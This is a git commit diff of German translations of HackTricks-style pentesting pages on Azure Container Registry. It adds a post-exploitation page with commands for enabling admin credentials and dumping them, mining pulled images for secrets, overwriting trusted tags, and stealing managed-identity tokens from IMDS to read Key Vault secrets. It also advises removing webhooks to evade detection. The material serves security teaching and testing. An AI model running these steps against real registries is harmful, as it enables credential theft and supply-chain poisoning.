Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/RE

This commit is contained in:
Translator
2026-07-19 09:25:15 +00:00
parent dabce73b87
commit cbfdf79c3d
5 changed files with 218 additions and 122 deletions
@@ -6,4 +6,8 @@
az-azure-ai-foundry-post-exploitation.md
{{#endref}}
{{#ref}}
az-container-registry-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,87 @@
# Az - Container Registry Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Azure Container Registry
Weitere Informationen zu diesem Service:
{{#ref}}
../az-services/az-container-registry.md
{{#endref}}
### `Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write`
Eine Identität mit ACR Management-Plane-Zugriff kann diesen Zugriff in **wiederverwendbare Docker-Credentials** umwandeln. Wenn der **admin user** deaktiviert ist, der Principal jedoch ebenfalls über `registries/write` verfügt, kann er ihn aktivieren, die Passwörter abrufen und sich direkt bei `<registry>.azurecr.io` authentifizieren.
```bash
az acr show --resource-group <resource-group> --name <registry-name> --query adminUserEnabled
az acr update --resource-group <resource-group> --name <registry-name> --admin-enabled true
az acr credential show -n <registry-name>
docker login <registry-name>.azurecr.io -u <username> -p <password>
```
Dies ist nützlich, weil die wiederhergestellten Zugangsdaten außerhalb der Azure CLI wiederverwendet werden können, um Registry-Inhalte zu **auflisten, abzurufen, hochzuladen, zu überschreiben und manchmal zu löschen**, bis das Administratorkonto deaktiviert oder die Passwörter geändert wurden.
### `Microsoft.ContainerRegistry/registries/pull/read`
Verwende Pull-Zugriff für die **Repository-Aufklärung** und die **Suche nach Secrets** in Images. Überprüfe sowohl die endgültige Containerkonfiguration als auch die historischen Dateisystem-Layer, da Dateien, die in einen Layer kopiert wurden, möglicherweise weiterhin wiederhergestellt werden können, selbst wenn sie später gelöscht wurden.
```bash
az acr repository list -n <registry-name>
az acr repository show-tags -n <registry-name> --repository <repository> --detail
docker pull <registry-name>.azurecr.io/<repository>:<tag>
container_id=$(docker create <registry-name>.azurecr.io/<repository>:<tag>)
docker cp "$container_id":/ ./extracted_container
docker rm "$container_id"
docker inspect <registry-name>.azurecr.io/<repository>:<tag> | jq -r '.[0].Config.Env[]?'
dive <registry-name>.azurecr.io/<repository>:<tag>
```
Zu den hochwertigen Zielen gehören **Umgebungsvariablen**, **Anwendungskonfigurationen**, **Deployment-Skripte**, **Zertifikate**, **Zugriffstokens** und **Verbindungszeichenfolgen**. Weitere Ideen beim Überprüfen von Layern findest du auf der Docker-forensics-Seite:
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### `Microsoft.ContainerRegistry/registries/push/write`
Push-Zugriff ermöglicht es einem Angreifer, **vertrauenswürdige Repositories zu vergiften** oder **veränderliche Tags** wie `latest`, `prod` oder `stable` zu überschreiben. Jeder Workload, der weiterhin anhand eines Tags statt eines Digests deployed wird, kann beim nächsten Deployment, Scale-out-Ereignis oder Neustart das Image des Angreifers abrufen.
```bash
# Retag an existing local image for the target ACR
docker tag <local-image>:<local-tag> <registry-name>.azurecr.io/<repository>:<trusted-tag>
docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
# If your workstation architecture differs from the target runtime, build for the consumer platform first
docker buildx build --platform linux/amd64 -t <registry-name>.azurecr.io/<repository>:<trusted-tag> --load .
docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
```
Vor dem Ersetzen eines Tags sollte überprüft werden, welche Repositories und Tags von nachgelagerten Workloads tatsächlich verwendet werden. **Digest-pinned** Consumer (`@sha256:...`) lassen sich deutlich schwerer umleiten als tag-basierte Consumer.
### `Microsoft.ContainerRegistry/registries/push/write`, `Microsoft.ContainerInstance/containerGroups/restart/action`
Wenn sowohl das **von einem nachgelagerten Container-Workload verwendete Image ersetzt** als auch dieser Workload **neu gestartet** werden kann, wird der bösartige entrypoint im **Netzwerk- und Managed-Identity-Kontext** des Zielcontainers ausgeführt. Von dort kann das Image Tokens von IMDS anfordern und auf Azure-Ressourcen zugreifen, die über die Identität dieses Workloads erreichbar sind.
```bash
TOKEN=$(curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' | jq -r .access_token)
curl -H "Authorization: Bearer $TOKEN" \
'https://<vault-name>.vault.azure.net/secrets/<secret-name>?api-version=7.4'
az container restart --resource-group <resource-group> --name <container-name>
```
Dies wandelt ein ACR tag overwrite in **code execution**, **secret theft** oder **lateral movement** innerhalb jedes Container-Consumers um, der dem geänderten Tag vertraut und eine nützliche Identität offenlegt.
### Zugehöriger privesc-Pfad: Von ACR Tasks verwaltete Identitäten
Wenn du außerdem über `Microsoft.ContainerRegistry/registries/tasks/write` und `Microsoft.ContainerRegistry/registries/runs/write` verfügst, wechsle zum ACR-privesc-Pfad und missbrauche die managed identity des Tasks direkt:
{{#ref}}
../az-privilege-escalation/az-container-registry-privesc.md
{{#endref}}
## Referenzen
- [TrustedSec - Pandora's Container Part 1: Unpacking Azure Container Security](https://trustedsec.com/blog/pandoras-container-part-1-unpacking-azure-container-security)
- [Microsoft Learn - Azure Container Registry authentication](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication)
- [Microsoft Learn - az acr credential](https://learn.microsoft.com/en-us/cli/azure/acr/credential?view=azure-cli-latest)
- [Microsoft Learn - az acr repository](https://learn.microsoft.com/en-us/cli/azure/acr/repository?view=azure-cli-latest)
- [Microsoft Learn - ACR Tasks YAML reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-reference-yaml)
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,37 +4,37 @@
## Grundlegende Informationen
Azure Container Registry (ACR) ist ein sicheres, privates Registry, mit dem du **Container-Images in der Azure cloud speichern, verwalten und darauf zugreifen kannst**. Es integriert sich nahtlos mit mehreren Azure-Services und bietet automatisierte Build- und Deployment-Workflows im großen Maßstab. Mit Funktionen wie geo-replication und vulnerability scanning hilft ACR, Enterprise-Grade-Sicherheit und Compliance für containerisierte Anwendungen sicherzustellen.
Azure Container Registry (ACR) ist eine sichere, private Registry, mit der du **Container-Images in der Azure cloud speichern, verwalten und darauf zugreifen** kannst. Sie lässt sich nahtlos in mehrere Azure-Services integrieren und bietet automatisierte Build- und Deployment-Workflows im großen Maßstab. Mit Funktionen wie Geo-Replikation und Vulnerability Scanning trägt ACR dazu bei, Sicherheit und Compliance auf Enterprise-Niveau für containerisierte Anwendungen sicherzustellen.
### Permissions
### Berechtigungen
Dies sind die **verschiedenen Permissions** [laut den docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager), die für ein Container Registry vergeben werden können:
Dies sind die **verschiedenen Berechtigungen**, die [laut Dokumentation](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) für eine Container Registry vergeben werden können:
- Access Resource Manager
- Create/delete registry
- Push image
- Pull image
- Delete image data
- Change policies
- Sign images
- Zugriff auf den Resource Manager
- Registry erstellen/löschen
- Image pushen
- Image pullen
- Image-Daten löschen
- Richtlinien ändern
- Images signieren
Es gibt außerdem einige **integrierte roles**, die zugewiesen werden können, und es ist auch möglich, **custom roles** zu erstellen.
Es gibt außerdem einige **integrierte Rollen**, die zugewiesen werden können, und es ist auch möglich, **benutzerdefinierte Rollen** zu erstellen.
![Azure Container Registry built-in roles permissions matrix for managing registry, image, data, policies, and signing actions](/images/registry_roles.png)
![Berechtigungsmatrix der integrierten Azure Container Registry-Rollen zur Verwaltung von Registry-, Image-, Daten-, Richtlinien- und Signierungsaktionen](/images/registry_roles.png)
### Authentication
### Authentifizierung
> [!WARNING]
> Es ist sehr wichtig, dass du immer **Kleinbuchstaben** zum login, pushen und pullen von Images verwendest, auch wenn der Registry-Name einige Großbuchstaben enthält.
> Es ist **sehr wichtig**, dass du dich zum Login, Pushen und Pullen von Images immer mit **Kleinbuchstaben** anmeldest, selbst wenn der Name der Registry einige Großbuchstaben enthält.
Es gibt 4 Möglichkeiten, sich bei einem ACR zu authentifizieren:
Es gibt 4 Möglichkeiten, sich bei einer ACR zu authentifizieren:
- **Mit Entra ID**: Das ist die **Standard**-Methode, um sich bei einem ACR zu authentifizieren. Sie verwendet den **`az acr login`**-Befehl zur Authentifizierung beim ACR. Dieser Befehl wird die **credentials** in der Datei **`~/.docker/config.json`** speichern. Wenn du diesen Befehl außerdem in einer Umgebung ohne Zugriff auf einen docker socket ausführst, wie z. B. in einer **cloud shell**, kannst du das Flag **`--expose-token`** verwenden, um das **token** zur Authentifizierung beim ACR zu erhalten. Dann musst du dich mit dem Benutzernamen `00000000-0000-0000-0000-000000000000` authentifizieren, zum Beispiel so: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Mit einem admin account**: Der admin user ist standardmäßig deaktiviert, kann aber aktiviert werden, und dann ist es möglich, mit **username** und **password** des admin accounts auf das Registry zuzugreifen, mit vollen Permissions für das Registry. Das wird weiterhin unterstützt, weil einige Azure-Services es verwenden. Beachte, dass für diesen Benutzer **2 passwords** erstellt werden und beide gültig sind. Du kannst es mit `az acr update -n <acrName> --admin-enabled true` aktivieren. Beachte, dass der Benutzername normalerweise der Registry-Name ist (und nicht `admin`).
- **Mit einem token**: Es ist möglich, einen **token** mit einer bestimmten **`scope map`** (Permissions) zu erstellen, um auf das Registry zuzugreifen. Dann kann der Name des tokens als username und eines der generierten passwords zur Authentifizierung beim Registry verwendet werden mit `docker login -u <registry-name> -p <password> <registry-url>`
- **Mit einem Service Principal**: Es ist möglich, einen **service principal** zu erstellen und ihm eine Rolle wie **`AcrPull`** zuzuweisen, um Images zu pullen. Dann ist es möglich, sich beim Registry mit der SP appId als username und einem erzeugten secret als password einzuloggen.
- **Mit Entra ID**: Dies ist die **Standardmethode**, um sich bei einer ACR zu authentifizieren. Sie verwendet den Befehl **`az acr login`**, um sich bei der ACR zu authentifizieren. Dieser Befehl **speichert die Zugangsdaten** in der Datei **`~/.docker/config.json`**. Wenn du diesen Befehl außerdem aus einer Umgebung ohne Zugriff auf einen Docker-Socket ausführst, beispielsweise in einer **cloud shell**, kannst du das Flag **`--expose-token`** verwenden, um das **Token** für die Authentifizierung bei der ACR abzurufen. Für die Authentifizierung musst du anschließend `00000000-0000-0000-0000-000000000000` als Benutzernamen verwenden, wie hier: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Mit einem Admin-Konto**: Der Admin-Benutzer ist standardmäßig deaktiviert, kann jedoch aktiviert werden. Anschließend ist es möglich, mit dem **Benutzernamen** und **Passwort** des Admin-Kontos auf die Registry zuzugreifen, das über vollständige Berechtigungen für die Registry verfügt. Dies wird weiterhin unterstützt, da einige Azure-Services es verwenden. Beachte, dass für diesen Benutzer **2 Passwörter** erstellt werden und beide gültig sind. Du kannst es mit `az acr update -n <acrName> --admin-enabled true` aktivieren. Beachte, dass der Benutzername normalerweise dem Namen der Registry entspricht (und nicht `admin`).
- **Mit einem Token**: Es ist möglich, ein **Token** mit einer bestimmten **`scope map`** (Berechtigungen) für den Zugriff auf die Registry zu erstellen. Anschließend kannst du den Namen des Tokens als Benutzernamen und eines der generierten Passwörter verwenden, um dich mit `docker login -u <registry-name> -p <password> <registry-url>` bei der Registry zu authentifizieren.
- **Mit einem Service Principal**: Es ist möglich, einen **Service Principal** zu erstellen und ihm eine Rolle wie **`AcrPull`** zum Pullen von Images zuzuweisen. Anschließend ist es möglich, sich bei der **Registry anzumelden**, indem die SP-AppId als Benutzername und ein generiertes Secret als Passwort verwendet werden.
Example script from the [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) to generate a SP with access over a registry:
Beispielskript aus der [Dokumentation](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) zum Erstellen eines SP mit Zugriff auf eine Registry:
```bash
#!/bin/bash
ACR_NAME=$containerRegistry
@@ -51,39 +51,39 @@ echo "Service principal password: $PASSWORD"
```
### Encryption
Nur die **Premium SKU** unterstützt **encryption at rest** für die Images und andere Artifacts.
Nur die **Premium SKU** unterstützt **encryption at rest** für die Images und andere Artefakte.
### Networking
Nur die **Premium SKU** unterstützt **private endpoints**. Die anderen unterstützen nur **public access**. Ein public endpoint hat das Format `<registry-name>.azurecr.io` und ein private endpoint hat das Format `<registry-name>.privatelink.azurecr.io`. Aus diesem Grund muss der Name des Registry eindeutig in ganz Azure sein.
Nur die **Premium SKU** unterstützt **private endpoints**. Die anderen unterstützen ausschließlich **public access**. Ein öffentlicher Endpoint hat das Format `<registry-name>.azurecr.io`, und ein privater Endpoint hat das Format `<registry-name>.privatelink.azurecr.io`. Aus diesem Grund muss der Name der Registry in ganz Azure eindeutig sein.
### Microsoft Defender for Cloud
Dies ermöglicht dir, die **Images** im Registry auf **vulnerabilities** zu **scan**.
Damit können die **Images** in der Registry auf **vulnerabilities** gescannt werden.
### Soft-delete
Die **soft-delete**-Funktion ermöglicht es dir, ein gelöschtes Registry innerhalb der angegebenen Anzahl von Tagen wiederherzustellen. Diese Funktion ist standardmäßig **disabled**.
Die Funktion **soft-delete** ermöglicht es, eine **gelöschte Registry** innerhalb der angegebenen Anzahl von Tagen **wiederherzustellen**. Diese Funktion ist **standardmäßig deaktiviert**.
### Webhooks
Es ist möglich, **Webhooks** innerhalb von Registries zu **create**. In diesem Webhook muss die URL angegeben werden, an die eine **request** gesendet wird, wann immer eine push- oder delete-Aktion ausgeführt wird. Außerdem können Webhooks einen Scope angeben, um die Repositories (Images) zu bestimmen, die betroffen sind. Zum Beispiel bedeutet 'foo:\*' Events unter dem Repository 'foo'.
Es ist möglich, **Webhooks** innerhalb von Registries zu **erstellen**. In diesem Webhook muss die URL angegeben werden, an die ein **request gesendet wird, sobald eine push- oder delete-Aktion ausgeführt wird**. Außerdem können Webhooks einen Scope angeben, der festlegt, welche Repositories (Images) betroffen sind. Beispielsweise bedeutet `foo:*`, dass es um Events unter dem Repository `foo` geht.
Aus Angreiferperspektive ist es interessant, dies **vor jeder Aktion** im Registry zu prüfen und es bei Bedarf vorübergehend zu entfernen, um nicht entdeckt zu werden.
Aus Sicht eines Angreifers ist es interessant, dies **vor jeder Aktion** in der Registry zu überprüfen und den Webhook bei Bedarf vorübergehend zu entfernen, um eine Entdeckung zu vermeiden.
### Connected registries
Dies ermöglicht im Grunde, die **Images** von einem Registry zu einem anderen zu **mirror**, normalerweise on-premises.
Dies ermöglicht grundsätzlich das **Spiegeln der Images** von einer Registry in eine andere, die sich üblicherweise on-premises befindet.
Es gibt 2 Modi: **ReadOnly** und **ReadWrite**. Im ersten werden die Images nur aus dem Source Registry **pulled**, und im zweiten können Images auch zum Source Registry **pushed** werden.
Es gibt 2 Modi: **ReadOnly** und **ReadWrite**. Im ersten Modus werden die Images nur aus der Quell-Registry **gezogen**, im zweiten Modus können Images auch in die Quell-Registry **gepusht** werden.
Damit Clients von Azure aus auf das Registry zugreifen können, wird ein **token** generiert, wenn das conected registry verwendet wird.
Damit Clients aus Azure auf die Registry zugreifen können, wird bei der Verwendung der Connected Registry ein **token** generiert.
### Runs & Tasks
Runs & Tasks ermöglicht es, in Azure containerbezogene Aktionen auszuführen, die man typischerweise lokal oder in einer CI/CD-Pipeline machen musste. Zum Beispiel kannst du **Images im Registry build, push und run**.
Mit Runs & Tasks können containerbezogene Aktionen in Azure ausgeführt werden, die normalerweise lokal oder in einer CI/CD-Pipeline ausgeführt werden müssen. Beispielsweise können **Images in der Registry erstellt, gepusht und ausgeführt werden**.
Der einfachste Weg, einen Container zu bauen und auszuführen, ist die Verwendung eines regulären Run:
Die einfachste Möglichkeit, einen Container zu erstellen und auszuführen, besteht darin, einen regulären Run zu verwenden:
```bash
# Build
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
@@ -92,20 +92,20 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f
# Run
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
```
However, das wird runs auslösen, die aus Angreiferperspektive nicht besonders interessant sind, weil ihnen keine managed identity zugeordnet ist.
Allerdings werden dadurch Runs ausgelöst, die aus Angreifersicht nicht besonders interessant sind, da ihnen keine managed identity zugewiesen ist.
However, **tasks** können eine **system and user managed identity** zugeordnet bekommen. Diese tasks sind die, die nützlich sind, um im container **privileges zu eskalieren**. Im privileges escalation Abschnitt ist es möglich zu sehen, wie tasks verwendet werden können, um privileges zu eskalieren.
**tasks** können jedoch eine **system and user managed identity** zugewiesen bekommen. Diese tasks sind nützlich, um die **Rechte im Container zu erweitern**. Im Abschnitt zur Privilege Escalation wird gezeigt, wie tasks zur Erweiterung von Rechten verwendet werden können.
### Cache
Die cache-Funktion erlaubt es, **images aus einem external repository herunterzuladen** und die neuen Versionen im registry zu speichern. Dafür müssen einige **credentials konfiguriert** sein, indem man die credentials aus einem Azure Vault auswählt.
Die Cache-Funktion ermöglicht es, **Images aus einem externen Repository herunterzuladen** und die neuen Versionen in der Registry zu speichern. Dafür müssen **Credentials konfiguriert** werden, indem die Credentials aus einem Azure Vault ausgewählt werden.
Das ist aus Angreiferperspektive sehr interessant, weil es ermöglicht, zu einer **external platform zu pivoten**, wenn der Angreifer genügend permissions hat, um auf die credentials zuzugreifen, **images aus einem external repository herunterzuladen**, und das Konfigurieren eines cache könnte auch als **persistence mechanism** verwendet werden.
Aus Angreifersicht ist dies sehr interessant, da es ermöglicht, auf eine **externe Plattform zu pivotieren**, wenn der Angreifer über ausreichende Berechtigungen für den Zugriff auf die Credentials verfügt. Das **Herunterladen von Images aus einem externen Repository** und die Konfiguration eines Cache können außerdem als **Persistence-Mechanismus** verwendet werden.
## Enumeration
> [!WARNING]
> Es ist sehr wichtig, dass du, selbst wenn der registry-Name einige Großbuchstaben enthält, in der url zum Zugriff nur Kleinbuchstaben verwendest.
> Es ist sehr wichtig, dass in der URL für den Zugriff auf die Registry ausschließlich Kleinbuchstaben verwendet werden, selbst wenn der Name der Registry Großbuchstaben enthält.
```bash
# List of all the registries
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
@@ -149,13 +149,17 @@ az acr cache show --name <cache-name> --registry <registry-name>
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
{{#endref}}
## Privilege Escalation & Post Exploitation
## Rechteausweitung & Post Exploitation
{{#ref}}
../az-privilege-escalation/az-container-registry-privesc.md
{{#endref}}
## References
{{#ref}}
../az-post-exploitation/az-container-registry-post-exploitation.md
{{#endref}}
## Referenzen
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)